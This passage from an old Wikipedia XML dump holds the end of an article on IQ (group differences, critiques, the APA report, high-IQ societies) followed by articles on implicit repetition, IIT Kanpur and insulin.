The social-construct and real-ability interpretations for IQ differences can be distinguished because they make opposite predictions about what would happen if people were given equal opportunities. The social explanation predicts that equal treatment will eliminate differences, while the real-ability explanation predicts that equal treatment will accentuate differences. Evidence for both outcomes exists. Achievement gaps persist in socioeconomically advantaged, integrated, liberal, suburban school districts in the United States (see Noguera, 2001). Test-score gaps tend to be larger at higher socioeconomic levels (Gottfredson, 2003).  Some studies have reported a narrowing of score gaps over time.

The reduction of intelligence to a single score seems extreme and wrong to many people.  Opponents argue that it is much more useful to know a person's strengths and weaknesses than to know their IQ score.  Such opponents often cite the example of two people with the same overall IQ score but very different ability profiles.  As measured by IQ tests, most people have highly balanced ability profiles, with differences in subscores being greater among the more intelligent.

The creators of IQ testing did not intend for the tests to gauge a person's worth, and in many (or, as some people suggest, all) situations, IQ may have little relevance. 
 
===The Mismeasure of Man===

Some scientists dispute [[psychometrics]] entirely. In ''[[The Mismeasure of Man]]'', Professor [[Stephen Jay Gould]] argues that intelligence tests are based on faulty assumptions and shows their history of being used as the basis for [[scientific racism]]. He writes:

:&amp;hellip;the abstraction of intelligence as a single entity, its location within the brain, its quantification as one number for each individual, and the use of these numbers to rank people in a single series of worthiness, invariably to find that oppressed and disadvantaged groups&amp;mdash;races, classes, or sexes&amp;mdash;are innately inferior and deserve their status. (pp. 24&amp;ndash;25)

He spends much of the book debunking the concept of IQ, including a historical discussion of how the IQ tests were created and a technical discussion of why ''g'' is simply a mathematical artifact. Later editions of the book include criticism of ''[[The Bell Curve]]''.

[[Arthur Jensen]], Professor of Educational Psychology, University of California, Berkeley, responds to Gould's criticisms in a paper titled ''The Debunking of Scientific Fossils and Straw Persons''.[http://www.mugu.com/cgi-bin/Upstream/jensen-gould-fossils]

===The view of the American Psychological Association===
In response to the controversy surrounding ''The Bell Curve'', the [[American Psychological Association]]'s Board of Scientific Affairs established a task force to write a consensus statement on the state of intelligence research which could be used by all sides as a basis for discussion. The full text of the report is available at a third-party website. [http://www.lrainc.com/swtaboo/taboos/apa_01.html]

The findings of the task force state that IQ scores ''do'' have high predictive validity for individual (but not necessarily population) differences in school achievement. They confirm the predictive validity of IQ for adult occupational status, even when variables such as education and family background have been statistically controlled. They agree that individual (again, not necessarily population) differences in intelligence are substantially influenced by genetics. 

They state there is little evidence to show that childhood diet influences intelligence except in cases of severe malnutrition. They agree that there are no significant differences between the average IQ scores of males and females. The task force agrees that large differences do exist between the average IQ scores of blacks and whites, and that these differences cannot be attributed to biases in test construction. While they admit there is no empirical evidence supporting it, the APA task force suggests that explanations based on social status and cultural differences may be possible. Regarding genetic causes, they noted that there is not much direct evidence on this point, but what little there is fails to support the genetic hypothesis.

The APA journal that published the statement, ''[[American Psychologist]]'', subsequently published eleven critical responses in January 1997, most arguing that the report failed to examine adequately the evidence for partly-genetic explanations.

The report was published in 1995 and thus does not include a decade of recent research.

==Improving IQ==
While a large amount of one's IQ is predetermined by genetic factors, the environment can play a role as well.  IQ can be improved to a certain extent through reading and application. Improvement in diet and regular exercise can help certain cognitive functions, and getting more sleep may help as well. Depression and stress reduce IQ somewhat, so removal of these factors might also help. 

Drugs designed to improve cognitive function, and sometimes IQ scores are called [[nootropic]]s.  

Working memory training, an experimental treatment which has according to one study  by Klingberg et al, improved raw scores substantially on Ravens progressive matrices and Ravens advanced progressive matrices, both IQ tests.  It has also been claimed in some studies that [[neurofeedback]] can increase IQ.  However, some would argue that these studies should not necessarily be interpreted as proof that neurofeedback can increase IQ as (a) they don't have a double blind component and (b) it is unknown whether their effects would apply to persons without ADHD, as most of these studies were performed on persons with ADHD.  It is possible that the increase in IQ was just a result of better concentration in the subjects. 

A recent scientific article on the concept of cognitive reserve included an argument that education and application of the mind can substantially increase IQ. 

The &quot;[[Mozart effect]]&quot; is the claimed ability of certain musics to enhance intelligence, especially spatial reasoning.  However, this effect is not universally accepted.  Musical education, as opposed to appreciation, has been shown a number of times to marginally increase IQ in children; however, there is sparsity of information on whether such an effect might apply to adults. 

The levels of a variety of chemicals in the brain, such as chlorine, have been shown to relate to intelligence in a variety of ways. It is possible that by adjusting diet, these could be substantially changed.

Future possibilities for improving the skills IQ tests measure include stem cells treatment, genetic modification, better education based on neurological and cognitive discoveries, better nootropics, etc. [http://www.newscientist.com/channel/being-human/mg18625011.900.]

==Controversy==

See article on [[IQ test controversy]].

==End material==
===See also===

* [[Nature versus nurture]]
* [[Emotional intelligence]]
* [[Gifted]]
* [[SAT]]
* [[List of countries by IQ]]
* Societies:
** [[International High IQ Society]] &amp;mdash; 95th percentile, or SD16 IQ of 126
** [[Sigma Society]] &amp;mdash; 97.7th percentile, or SD16 IQ of 132
** [[Mensa International]] &amp;mdash; 98th percentile, or SD16 IQ of 133
** [[Colloquy (society)]] &amp;mdash; 99.5th percentile
** [[Cerebrals Society]] &amp;mdash; 99.7th percentile, or SD16 IQ of 144
** [[Civiq Society]] &amp;mdash; 99.87th percentile, or SD16 IQ of 148
** [[Sigma Society III]] &amp;mdash; 99.87th percentile, or SD16 IQ of 148
** [[International Society for Philosophical Enquiry]] &amp;mdash; 99.9th percentile
** [[Intertel (group)]]
** [[Triple Nine Society]] &amp;mdash; 99.9th percentile, or SD16 IQ of 150
** [[Prometheus Society]] &amp;mdash; 99.997th percentile, or SD16 IQ of 164
** [[Heliq Society]] &amp;mdash; 99.997th percentile, or SD16 IQ of 164
** [[Sigma Society IV]] &amp;mdash; 99.997th percentile, or SD16 IQ of 164
** [[Pi Society]] &amp;mdash; 99.9999th percentile, or SD16 IQ of 176
** [[Mega Society]] &amp;mdash; 99.9999th percentile, or SD16 IQ of 176
** [[Olympiq Society]] &amp;mdash; 99.99997th percentile, or SD16 IQ of 180
** [[Pars Society]] &amp;mdash; 99.99997th percentile, or SD16 IQ of 180
** [[Sigma Society V]] &amp;mdash; 99.99997th percentile, or SD16 IQ of 180
** [[Giga Society]] &amp;mdash; 99.9999999th percentile, or SD16 IQ of 196
** [[Sigma Society VI]] &amp;mdash; 99.9999999th percentile, or SD16 IQ of 196

===External links===
* [http://www.mensa-test.com www.mensa-test.com] &amp;mdash; Nice intelligence test (not a standard IQ test)
* [http://www.hirhome.com/rr/rrcontents.htm Resurrecting Racism] &amp;mdash; The History of IQ Testing and Research
* [http://www.sigmasociety.com/sigma_teste/sigma_sigma_teste.asp Sigma Test] &amp;mdash; Available in 14 languages, accepted for admission in dozens of high IQ societies (with articles on Psychometry, history of IQ tests etc.)
* [http://members.shaw.ca/delajara/ IQ Comparison Site]
* [[American Psychological Association|APA]] &amp;mdash; [http://www.lrainc.com/swtaboo/taboos/apa_01.html Intelligence: Knowns and Unknowns]
* [http://www.psych.utoronto.ca/~reingold/courses/intelligence/cache/1198yam.html Scientific American: Intelligence Considered]
* [http://www.psych.utoronto.ca/~reingold/courses/intelligence/cache/1198gottfred.html Scientific American: The General Intelligence Factor]
* [http://www.iqte.st iqte.st: Online IQ test reviews]
* [http://www.apa.org/science/testing_on_the_internet.pdf APA Committee on Online Psychological Tests and Assessment report]
* [http://hem.bredband.net/b153434/Index.htm Estimated IQs of the greatest geniuses]
* [http://www.volkmar-weiss.de/lehrl.html The Basic Period of Individual Mental Speed, Underlying IQ]
* [http://www.eskimo.com/~miyaguch/hoeflin.html Uncommonly difficult IQ tests]

===References===

*Carroll, J.B. (1993). Human cognitive abilities: A survey of factor-analytical studies. New York: Cambridge University Press.
*Coward, W.M. and Sackett, P.R. (1990). Linearity of ability-performance relationships: A reconfirmation. ''Journal of Applied Psychology,'' 75:297&amp;#8211;300.
*Duncan, J., P. Burgess, and H. Emslie (1995) Fluid intelligence after frontal lobe lesions. Neuropsychologia,  33(3): p. 261-8.
*Duncan, J., et al., A neural basis for general intelligence. Science, 2000. 289(5478): p. 457-60.
* Frey, M.C. and Detterman, D.K. (2003) Scholastic Assessment or ''g''?  The Relationship Between the Scholastic Assessment Test and General Cognitive Ability.  ''Psychological Science,'' 15(6):373&amp;ndash;378. [http://www.gnxp.com/MT2/archives/2003_frey_and_detterman_IQ_SAT.pdf PDF]
*Gottfredson, L. S. (1997). &quot;Why g matters: The complexity of everyday life.&quot; ''Intelligence'', 24(1), 79&amp;ndash;132. [http://www.udel.edu/educ/gottfredson/reprints/1997whygmatters.pdf PDF]
*Gottfredson, L.S. (1998).  The general intelligence factor. ''Scientific American Presents,'' 9(4):24&amp;ndash;29. [http://www.udel.edu/educ/gottfredson/reprints/1998generalintelligencefactor.pdf PDF]
*Gottfredson, L. S. (2005). Suppressing intelligence research: Hurting those we intend to help. In R. H. Wright &amp; N. A. Cummings (Eds.), Destructive trends in mental health: The well-intentioned path to harm (pp. 155&amp;ndash;186). New York: Taylor and Francis. [http://www.udel.edu/educ/gottfredson/reprints/2003suppressingintelligence.pdf Pre-print PDF] [http://www.udel.edu/educ/gottfredson/reprints/2005suppressingintelligence.pdf PDF]
* Gottfredson, L. S. (in press). &quot;Social consequences of group differences in cognitive ability (Consequencias sociais das diferencas de grupo em habilidade cognitiva)&quot;. In C. E. Flores-Mendoza &amp; R. Colom (Eds.), ''Introducau a psicologia das diferncas individuais''. Porto Allegre, Brazil: ArtMed Publishers. [http://www.udel.edu/educ/gottfredson/reprints/2004socialconsequences.pdf PDF]
*Gray, J.R., C.F. Chabris, and T.S. Braver, Neural mechanisms of general fluid intelligence. Nat Neurosci, 2003. 6(3): p. 316-22.
*Gray, J.R. and P.M. Thompson, Neurobiology of intelligence: science and ethics. Nat Rev Neurosci, 2004. 5(6): p. 471-82.
*{{cite journal | author=Haier RJ, Jung RE, Yeo RA, et al. | title=The neuroanatomy of general intelligence: sex matters | journal=NeuroImage | year=2005 | volume=25 | pages=320–327}}
*Hunt, E. (2001). Multiple views of multiple intelligence. [Review of Intelligence Reframed: Multiple Intelligences for the 21st Century.]
*Jensen, A.R. (1998).  ''The ''g'' Factor.''  Praeger, Connecticut, USA.
*Jensen, A.R. (2006). &quot;Clocking the Mind: Mental Chronometry and Individual Differences.&quot; Elsevier Science. ---&gt;Highly anticipated new release scheduled for early June, 2006.
*McClearn, G. E., Johansson, B., Berg, S., Pedersen, N. L., Ahern, F., Petrill, S. A., &amp; Plomin, R. (1997). Substantial genetic influence on cognitive abilities in twins 80 or more years old. Science, 276, 1560&amp;ndash;1563.
*Murray, Charles (1998). Income Inequality and IQ, AEI Press [http://www.aei.org/docLib/20040302_book443.pdf PDF]
*Noguera, P.A. (2001).  Racial politics and the elusive quest for excellence and equity in education.  [http://www.inmotionmagazine.com/er/pnrp1.html In Motion Magazine article]
*Plomin, R., DeFries, J. C., Craig, I. W., &amp; McGuffin, P. (2003). ''Behavioral genetics in the postgenomic era''. Washington, DC: American Psychological Association.
*Plomin, R., DeFries, J. C., McClearn, G. E., &amp; McGuffin, P. (2001). ''Behavioral genetics (4th ed.)''. New York: Worth Publishers.
* Rowe, D. C., W. J. Vesterdal, and J. L. Rodgers, &quot;The Bell Curve Revisited: How Genes and Shared Environment Mediate IQ-SES Associations,&quot; University of Arizona, 1997
*Schoenemann, P.T., M.J. Sheehan, and L.D. Glotzer, Prefrontal white matter volume is disproportionately larger in humans than in other primates. Nat Neurosci, 2005.
* Tambs K, Sundet JM, Magnus P, Berg K. &quot;Genetic and environmental contributions to the covariance between occupational status, educational attainment, and IQ: a study of twins.&quot; Behav Genet. 1989 Mar;19(2):209&amp;ndash;22. PMID 2719624.
*Thompson, P.M., Cannon, T.D., Narr, K.L., Van Erp, T., Poutanen, V.-P., Huttunen, M., Lönnqvist, J., Standertskjöld-Nordenstam, C.-G., Kaprio, J., Khaledy, M., Dail, R., Zoumalan, C.I., Toga, A.W. (2001). &quot;Genetic influences on brain structure.&quot; Nature Neuroscience 4, 1253-1258.

[[Category:Cognitive tests]]
[[Category:Psychometrics]]

[[ca:Quocient intel·lectual]]
[[da:Intelligenskvotient]]
[[de:Intelligenzquotient]]
[[et:Intelligentsuskvoot]]
[[es:Cociente intelectual]]
[[fr:Quotient intellectuel]]
[[gl:Cociente intelectual]]
[[is:Greindarvísitala]]
[[he:מנת משכל]]
[[lt:Intelekto koeficientas]]
[[hu:IQ]]
[[nl:Intelligentiequotiënt]]
[[ja:知能指数]]
[[no:Intelligenskvotient]]
[[pl:Iloraz inteligencji]]
[[pt:Quociente de inteligência]]
[[sk:IQ]]
[[sl:Inteligenčni količnik]]
[[fi:Älykkyysosamäärä]]
[[sv:IQ]]
[[zh:智商]]</text>
    </revision>
  </page>
  <page>
    <title>Implicit repetition</title>
    <id>14893</id>
    <revision>
      <id>40966116</id>
      <timestamp>2006-02-24T04:05:15Z</timestamp>
      <contributor>
        <username>Rfrisbie</username>
        <id>896545</id>
      </contributor>
      <minor />
      <comment>subcat enough</comment>
      <text xml:space="preserve">In [[learning]], '''implicit repetition''' is unintentional repetition. For example, an [[explicit repetition]] is when we review the material before an exam. An implicit repetition is when we suddenly recall some fact on the way to school. We remember our name or events from childhood via implicit repetition. This means we do not need to explicitly sit down to a textbook and review those events to be sure they do not get forgotten. Unfortunately, implicit repetition cannot be used to ensure we do not forget things we learn at school. This is why explicit review of material is needed.

{{psych-stub}}

[[Category:Learning]]</text>
    </revision>
  </page>
  <page>
    <title>Indian Institute of Technology, Kanpur</title>
    <id>14894</id>
    <revision>
      <id>41279551</id>
      <timestamp>2006-02-26T06:30:21Z</timestamp>
      <contributor>
        <ip>66.68.106.192</ip>
      </contributor>
      <comment>/* Laboratories and other facilities */</comment>
      <text xml:space="preserve">{{Infobox_University
|name           = Indian Institute of Technology, Kanpur
|motto          = ''Tamaso Ma Jyotirgamaya''
|image          = [[Image:IITKLogo.jpg|100px]]
|established    = 1959
|campus    = 1200 acres
|type           = [[Education]] and [[Research]] [[Institution]]
|dean= Dr. S G Dhande
|city           = Kanpur
|state          = Uttar Pradesh
|country        = India
|undergrad      = 2,000 (approx)
|postgrad       = 2,000 (approx)
|staff= 500 (approx)
|website= http://www.iitk.ac.in
}}

The '''Indian Institute of Technology, Kanpur''' ('''IIT Kanpur''') is one of the [[Indian Institutes of Technology]], set up in the then-industrial city of [[Kanpur]] in [[1960]]. Today, IIT Kanpur has grown into one of the top technological institutes in India, primarily focused on research in engineering and science, and the teaching of undergraduates.

== History ==

IIT Kanpur was established by an act of [[Parliament of India|Parliament]] in [[1959]]. The institute was started in December 1959 in a room borrowed in the Canteen Building of the [[Harcourt Butler Technological Institute]] at Agricultural Gardens in Kanpur. In [[1963]], the Institute moved to its present location, on the historic [[Grand Trunk Road]] near the village of Kalyanpur in Kanpur district. During the first ten years of its existence, IIT Kanpur benefited from the Kanpur Indo-American Programme, where a consortium of 9 US universities helped set up the research laboratories and academic programmes. The first Director of the Institute was [[Dr. P. K. Kelkar]] (after whom the Central Library was renamed in 2003).

Indian Institute of Technology Kanpur was the among the first Institute in India to start Computer Science education. The earliest computer courses were started at IIT Kanpur in August 1963 on an IBM 1620 system, a novelty then even in many North American and European universities. Gradually, the Institute drew upon some of the brightest young Indians in Computer Science to serve on its faculty and initiated an independent academic program in 1971, leading to Ph.D. and M. Tech. degrees.

== Laboratories and other facilities ==

The Institute has a number of facilities, including the National Wind Tunnel Facility.Spread in a sprawling campus of 1200 acres, IIT Kanpur has one of the best computational facilities in India. Apart from a large number of engineering laboratories, IIT Kanpur also has its own airfield, for flight testing and gliding activities. Other large research centres include the Advanced Centre for Material Science, one of the country's best Bio-technology centre, the Advanced Centre for Electronic Systems, and the Samtel Centre for Display Technology. The P.K. Kelkar library has one of the most exhaustive collections of academic textbooks, peer-reviewed journals and other research material in the country, and boasts of an excellent reference section (where course material is reserved for students). In addition, the various departments have their own smaller libraries. The Computer-Centre (referred to by the campus residents as &quot;C-C&quot;) is quite an impressive facility in comparison to other academic institutions in the country. It has about 100-150 Linux terminals, about 50 Windows-NT terminals, and is continuously available to the students for academic work and recreation. Disk storage is provided using a networked file server system. Internet access is provided by the means of two proxy servers, one for students and another for faculty (the computer science department in IIT Kanpur has its own independent network). In addition, it hosts about 50 SUN workstations that are considered powerful workhorses for heavy computational tasks. It is a major intellectual, social and cultural hub for the technokrati on campus. The IIT's (and especially IIT Kanpur) are among the first large academic institutions in India to be extensively networked, with an institute-wide LAN and Ethernet access to every student room in the residence halls.

[[Image:IITKLibrary.jpg|thumb|270px|PK Kelkar Library, IIT Kanpur]]

== Students ==

The undergraduate students at IIT Kanpur are selected through the [[Joint Entrance Examination]] of the IITs. The graduate students (Masters) are mainly selected through the [[Graduate Aptitude Test in Engineering]] (GATE). Presently, the institute has around 3800 students, with an equal distribution of graduate and undergraduate students.

Students at IIT Kanpur reside in the hostels, or 'halls of residence', most of which have their own unique history and lore. There are seven hostels for boys and two for girls called GH and hall 6.

The annual [[culfest|cultural festival]] is called ''[[Antaragni]]''. It is held around the end of October every year. The annual science and technology festival, ''[[Techkriti]]'', is held at the end of February each year. The annual sports festival, ''[[Udghosh/Galaxy]]'', is held around the end of November each year and the annual film festival, ''[[Umang]]''. All four are amongst the most popular college events in North [[India]].

Another highlight of the student community is the self governance achieved in the form of the Students' Gymkhana, which is a democratically elected body.

==Alumni==
* [[Ashoke Sen]] (String theorist)
* [[N.R. Narayana Murthy]] (founded the software corporation [[Infosys]])
* [[Manindra Agrawal]], [[Nitin Saxena]], and [[Neeraj Kayal]] (proved that the problem of checking [[primality]] has a polynomial time algorithm, a major result in theoretical [[computer science]])
*[[Umang Gupta]] (Entrepreneur, wrote first business plan for Oracle, first PC-implementation of SQL and currently CEO of [[Keynote Systems]])
*[[Raj Singh]] (Venture Capitalist, former billionaire, funded Teligent among others, married to Nita, also an alumnus of IIT Kanpur)
*[[Ambuj Goyal]] (VP/GM of IBM's Lotus business)
*[[Satish Kaura]] (Padma Shri and founder of Samtel Group)
* [[Umesh Mishra]] (Professor of Electrical and Computer Engineering and a leading expert on wide-band gap semiconductors)
* [[Pradeep Sindhu]] (Founder - [[Juniper Networks]])

==Miscellaneous==
It was rated the  no. 1 engineering institute in India by [[India Today]] in [[2004]].
It was rated the no. 1 engineering college in India by Data Quest in 2005

==External links==
* [http://www.iitk.ac.in Official Website]

* [http://www.iitkalumni.org Alumni Website]
{{Indian_Institute_Of_Technology}}
[[Category:Universities and colleges in India]]
[[Category:Engineering colleges in India]]</text>
    </revision>
  </page>
  <page>
    <title>Insulin</title>
    <id>14895</id>
    <revision>
      <id>41907961</id>
      <timestamp>2006-03-02T15:10:27Z</timestamp>
      <contributor>
        <username>Tasc</username>
        <id>853739</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/210.186.172.160|210.186.172.160]] to last version by Goto Dengo</comment>
      <text xml:space="preserve">[[image:Insulin.jpg|right|thumbnail|300px|The structure of insulin &lt;br&gt; Red: [[carbon]]; green: [[oxygen]]; blue: [[nitrogen]]; pink: [[sulfur]]. The blue/purple ribbons denote the skeleton &lt;nowiki&gt;[-N-C-C-]&lt;/nowiki&gt;&lt;small&gt;n&lt;/small&gt; in the protein's [[amino acid]] sequence &lt;nowiki&gt;H-[-NH-CHR-CO-]&lt;/nowiki&gt;&lt;small&gt;n&lt;/small&gt;-OH where R is the part protruding from the skeleton in each amino acid.]]
[[image:Insulin_structure.JPG|right|thumbnail|400px|The primary structure of insulin &lt;br&gt;i.e. amino acid sequence]]

'''Insulin''' (from [[Latin]] ''insula'', &quot;island&quot;, as it is produced in the [[Islets of Langerhans]] in the [[pancreas]]) is a [[polypeptide]] [[Peptide hormone|hormone]] that regulates [[carbohydrate metabolism]]. Apart from being the primary effector in [[carbohydrate]] [[homeostasis]], it also has a substantial effect on small vessel muscle tone, controls storage and release of [[lipid|fat]] ([[triglyceride]]s) and cellular uptake of both amino acids and some electrolytes. In this last sense, it has [[Anabolism|anabolic]] properties. Its concentration (more or less, presence or absence) has extremely widespread  effects throughout the body.

Insulin is used medically in some forms of [[diabetes mellitus]]. Patients with [[Diabetes_mellitus#Type_1|type 1 diabetes mellitus]] depend on exogenous insulin (injected subcutaneously) for their survival because of an absolute deficiency of the hormone; patients with [[Diabetes_mellitus#Type_2|type 2 diabetes mellitus]] have either relatively low insulin production or [[insulin resistance]] or both, and a non-trivial fraction of type 2 diabetics eventually require insulin administration when other medications become inadequate in controlling blood glucose levels.

Insulin has the empirical formula [[carbon|C]]&lt;sub&gt;257&lt;/sub&gt;[[hydrogen|H]]&lt;sub&gt;383&lt;/sub&gt;[[nitrogen|N]]&lt;sub&gt;65&lt;/sub&gt;[[oxygen|O]]&lt;sub&gt;77&lt;/sub&gt;[[sulfur|S]]&lt;sub&gt;6&lt;/sub&gt;. 

Insulin structure varies slightly between [[species]] of animal. Its [[carbohydrate metabolism]] regulatory function strength in humans also varies. [[Pig]] insulin is particularly close to the [[human]] one.

==Discovery and characterization ==
In 1869 [[Paul Langerhans]], a medical student in [[Berlin]], was studying the structure of the pancreas under a [[microscope]] when he noticed some previously-unidentified cells scattered in the exocrine tissue. The function of the &quot;little heaps of cells,&quot; later [[eponym|known as]] the ''Islets of Langerhans'', was unknown, but [[Edouard Laguesse]] later argued that they may produce a secretion that plays a regulatory role in digestion.

[[Image:Insulincrystals.jpg|left|300px|frame|Insulin [[crystal|crystals]]]]

In 1889, the [[Germany|Polish-German]] physician [[Oscar Minkowski]] in collaboration with Joseph von Mehring removed the [[pancreas]] from a healthy dog to demonstrate this assumed role in digestion. Several days after the dog's pancreas was removed, Minkowski's animal keeper noticed a swarm of flies feeding on the dog's urine. On testing the urine they found that there was sugar in the dog's urine, demonstrating for the first time the relationship between the pancreas and diabetes. In 1901, another major step was taken by [[Eugene Opie]], when he clearly established the link between the Islets of Langerhans and diabetes: ''Diabetes mellitus.... is caused by destruction of the islets of Langerhans and occurs only when these bodies are in part or wholly destroyed.'' Before this demonstration, the link between the pancreas and diabetes was clear, but not the specific role of the islets.

Over the next two decades, several attempts were made to isolate the secretion of the islets as a potential treatment. In 1906 [[Georg Ludwig Zuelzer]] was partially successful treating dogs with pancreatic extract, but unable to continue his work. Between 1911 and 1912, [[E.L. Scott]] at the [[University of Chicago]] used aqueous pancreatic extracts and noted ''a slight diminution of glycosuria'', but was unable to convince his director and the research was shut down. [[Israel Kleiner]] demonstrated similar effects at [[Rockefeller University]] in 1919, but his work was interrupted by [[World War I]] and he was unable to return to it. [[Nicolae Paulescu]], a professor of physiology at the [[Romanian School of Medicine]], published similar work in 1921 that was carried out in [[France]] and patented in [[Romania]], and it has been argued ever since by Romanians that he is the rightful discoverer.

However, the Nobel prizes committee in 1923 credited the practical extraction of insulin to a team at the [[University of Toronto]]. In October 1920, [[Frederick Banting]] was reading one of Minkowski's papers and concluded that it is the very digestive secretions that Minkowski had originally studied that were breaking down the secretion, thereby making it impossible to extract successfully. He jotted a note to himself ''Ligate pancreatic ducts of the dog. Keep dogs alive till acini degenerate leaving islets. Try to isolate internal secretion of these and relieve glycosurea.''

He travelled to Toronto to meet with [[John James Richard Macleod|J.J.R. Macleod]], who was not entirely impressed with his idea. Nevertheless, he supplied Banting with a lab at the University, an assistant, medical student [[Charles Best]], and ten dogs, while he left on vacation during the summer of 1921. Their method was tying a ligature (string) around the pancreatic duct, and, when examined several weeks later, the pancreatic digestive cells had died and been absorbed by the immune system, leaving thousands of islets. They then isolated the protein from these islets to produce what they called ''isletin''. Banting and Best were then able to keep a pancreatectomized dog alive all summer.

Macleod saw the value of the research on his return from Europe, but demanded a re-run to prove the method actually worked. Several weeks later it was clear the second run was also a success, and he helped publish their results privately in Toronto that November. However, they needed six weeks to extract the isletin, dramatically slowing testing. Banting suggested that they try to use fetal calf pancreas, which had not yet developed digestive glands; he was relieved to find that this method worked well. With the supply problem solved, the next major effort was to purify the protein. In December 1921, Macleod invited the [[biochemist]] [[James Collip]]&lt;!--&quot;James Collip&quot; is NOT a descriptive phrase and therefore should NOT be enclosed in commas; it is a qualifier--&gt; to help with this task, and, within a month, he felt ready to test.

On [[January 11]], [[1922]], [[Leonard Thompson]], a fourteen-year-old diabetic, was given the first injection of insulin. However, the extract was so impure that he suffered a severe [[anaphylaxis|allergic reaction]], and further injections were canceled. Over the next 12 days, Collip worked day and night to improve the extract, and a second dose injected on the 23rd. This was completely successful, not only in not having obvious side-effects, but in completely eliminating the symptoms of diabetes. However, Banting and Best never worked well with Collip, regarding him as something of an interloper, and Collip left soon after.

Over the spring of 1922, Best managed to improve his techniques to the point where large quantities of insulin could be extracted on demand, but the extract remained impure. However, they had been approached by [[Eli Lilly and Company|Eli Lilly]] with an offer of help shortly after their first publications in 1921, and they took Lilly up on the offer in April. In November, Lilly made a major breakthrough, and were able to produce large quantities of&lt;!--&quot;very pure&quot; is nonsensical--&gt; pure insulin. Insulin was offered for sale shortly thereafter.

For this landmark discovery, Macleod and Banting were awarded the [[Nobel Prize]] in [[Physiology]] or [[Medicine]] in [[1923]]. Banting, insulted that Best was not mentioned, shared his prize with Best, and MacLeod immediately shared his with Collip. The patent for insulin was sold to the [[University of Toronto]] for one dollar.

The exact sequence of [[amino acid]]s comprising the insulin molecule, the so-called [[primary structure]], was determined by British molecular biologist [[Frederick Sanger]]. It was the first protein to have its structure be completely determined.  For this he was awarded the [[Nobel Prize in Chemistry]] in 1958. In 1967, after decades of work, [[Dorothy Crowfoot Hodgkin]] determined the spatial conformation of the molecule, by means of [[X-ray diffraction]] studies. She also was awarded a Nobel Prize.

[[image:insulin_synthesis.png|framed|right|1. Preproinsulin ('''L'''eader, '''B''' chain, '''C''' chain, '''A''' chain); proinsulin consists of BCA, without L&lt;BR&gt;2. Spontaneous folding&lt;BR&gt;3. A and B chains linked by sulphide bonds&lt;BR&gt;4. Leader and C chain are cut off&lt;BR&gt;5. Insulin molecule remains]]

==Structure and production==
Insulin is synthesized in humans and other mammals within the [[beta cell]]s (B-cells) of the [[islets of Langerhans]] in the pancreas. One to three million islets of Langerhans (pancreatic islets) form the [[endocrine]] part of the [[pancreas]], which is primarily an [[exocrine]] [[gland]]. The endocrine part accounts for only 2% of the total mass of the pancreas. Within the islets of Langerhans, beta cells constitute 60&amp;ndash;80% of all the cells.

Insulin is synthesized from the proinsulin precursor molecule by the action of proteolytic enzymes known as prohormone convertases (PC1 and PC2). Active insulin has 51 amino acids and is one of the smallest proteins known. Beef insulin differs from human insulin in three [[amino acid]] residues, and pork insulin in one residue. Fish insulin is also close enough to human insulin to be effective in humans. In humans, insulin has a [[molecular weight]] of 5808. Insulin is structured as 2 polypeptide chains linked by 2 [[sulfur bridges]] (see figure shown above), with one additional sulfur bond in the A chain (not shown). Chain A consists of 21, and chain B of 30 amino acids. Insulin is produced as a [[prohormone]] molecule &amp;ndash; [[proinsulin]] &amp;ndash; that is later transformed by [[proteolysis|proteolytic]] action into the active hormone.

The remaining part of the proinsulin molecule is called [[C-peptide]]. This polypeptide is released into the blood in equal amounts to the insulin protein. Since exogenous insulins contain no C-peptide component, serum levels of C-peptide  are good indicators of endogenous insulin production. C-peptide has recently been discovered to have itself biological activity; the activity is apparently confined to an effect on the muscular layer of the [[artery|arteries]].

==Actions on cellular and metabolic level==
The actions of insulin on the global human metabolism level include:
* Control of cellular intake of certain substances, most prominently [[glucose]] in muscle and adipose tissue (about 2/3 of body cells).
* Increase of [[DNA replication]] and [[protein synthesis]] via control of amino acid uptake.
* Modification of the activity of numerous [[enzymes]] ([[allostery|allosteric effect]]).

The actions of insulin on cells include:
* Increased [[glycogen]] synthesis &amp;ndash; insulin forces storage of glucose in liver (and muscle) cells in the form of glycogen; lowered levels of insulin cause liver cells to convert glycogen to glucose and excrete it into the blood. This is the clinical action of insulin which is useful in reducing high blood glucose levels as in diabetes.
* Increased [[fatty acid]] synthesis &amp;ndash; insulin forces fat cells to take in glucose which is converted to [[triglycerides]]; lack of insulin causes the reverse.
* Increased esterification of fatty acids &amp;ndash; forces [[adipose tissue]] to make fats (ie, triglycerides) from fatty acid esters; lack of insulin causes the reverse.
* Decreased [[proteinolysis]] &amp;ndash; forces reduction of protein degradation; lack of insulin increases protein degradation. 
* Decreased [[lipolysis]] &amp;ndash; forces reduction in conversion of fat cell lipid stores into blood fatty acids; lack of insulin causes the reverse.
* Decreased [[gluconeogenesis]] &amp;ndash; decreases production of glucose from various substrates in liver; lack of insulin causes glucose production from assorted substrates in the liver and elsewhere.
* Increased amino acid uptake &amp;ndash; forces cells to absorb circulating amino acids; lack of insulin inhibits absorption.
* Increased potassium uptake &amp;ndash; forces cells to absorb serum potassium; lack of insulin inhibits absorption.
* Arterial muscle tone &amp;ndash; forces arterial wall muscle to relax, increasing blood flow, especially in micro arteries; lack of insulin reduces flow by allowing these muscles to contract.

==Regulatory action on blood glucose==
Despite long intervals between meals or the occasional consumption of meals with a substantial [[carbohydrate]] load (e.g., half a [[birthday cake]] or a bag of [[potato chip]]s), human [[blood glucose]] levels normally remain within a narrow range. In most humans this varies from about 70 mg/dl to perhaps 110 mg/dl (3.9 to 6.1 [[mmol]]/litre) except shortly after eating when the blood glucose level rises temporarily. In a healthy adult male of 75 [[kilogram|kg]] with a [[blood]] volume of 5 [[litre]], a blood glucose level of 100 mg/dl or 5.5 mmol/l corresponds to about 5 g (1/5 ounce) of glucose in the blood and approximately 45 g (1 1/2 ounces) in the total [[body water]] (which obviously includes more than merely blood and will be usually about 60% of the total [[body weight]] in men). This [[homeostasis|homeostatic]] effect is the result of many factors, of which hormone regulation is the most important.

There are two groups of mutually antagonistic metabolic hormones affecting blood glucose levels:
* catabolic hormones (such as [[glucagon]], [[growth hormone]], and [[catecholamines]]), which increase blood glucose
* and one anabolic hormone (insulin), which decreases blood glucose

